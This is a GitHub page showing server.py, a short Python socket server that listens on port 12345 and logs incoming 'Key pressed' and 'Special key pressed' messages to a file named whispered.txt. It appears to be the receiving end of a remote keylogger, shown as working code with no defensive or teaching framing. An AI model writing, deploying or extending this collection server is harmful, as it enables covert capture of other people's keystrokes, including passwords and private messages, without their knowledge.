-
Notifications
You must be signed in to change notification settings - Fork 1
/
Copy pathserver.py
75 lines (60 loc) · 2.07 KB
/
server.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
import socket
import sys
def get_host_ip():
try:
s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
s.connect(('8.8.8.8', 80))
ip = s.getsockname()[0]
s.close()
return ip
except Exception as e:
print("Error getting host IP address:", e)
return None
def handle_client(client_socket):
try:
with open("whispered.txt", "a") as logfile:
while True:
# Receive data from the client
data = client_socket.recv(1024)
if not data:
break
decoded_data = data.decode('utf-8')
print(f"Received data: {decoded_data}")
if decoded_data.startswith("Special key pressed:"):
logfile.write("\n" + decoded_data[len("Special key pressed: "):] + " ")
else:
logfile.write(decoded_data[len("Key pressed: "):])
except Exception as e:
print(f"Client disconnected: {e}")
finally:
client_socket.close()
def main():
# Create a socket object
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
# Set the SO_REUSEADDR socket option
s.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
# Bind the socket to the address and port
try:
s.bind(('0.0.0.0', 12345))
except socket.error as e:
print(f"Bind failed: {e}")
sys.exit()
host_ip = get_host_ip()
if host_ip:
print(f"Host IP address: {host_ip}")
# Listen for incoming connections
s.listen(1)
print("Listening for incoming connections...")
while True:
try:
# Accept the connection
conn, addr = s.accept()
print(f"Connected with {addr[0]}:{addr[1]}")
# Handle the client connection
handle_client(conn)
except Exception as e:
print(f"Error while handling connection: {e}")
# Close the server socket
s.close()
if __name__ == "__main__":
main()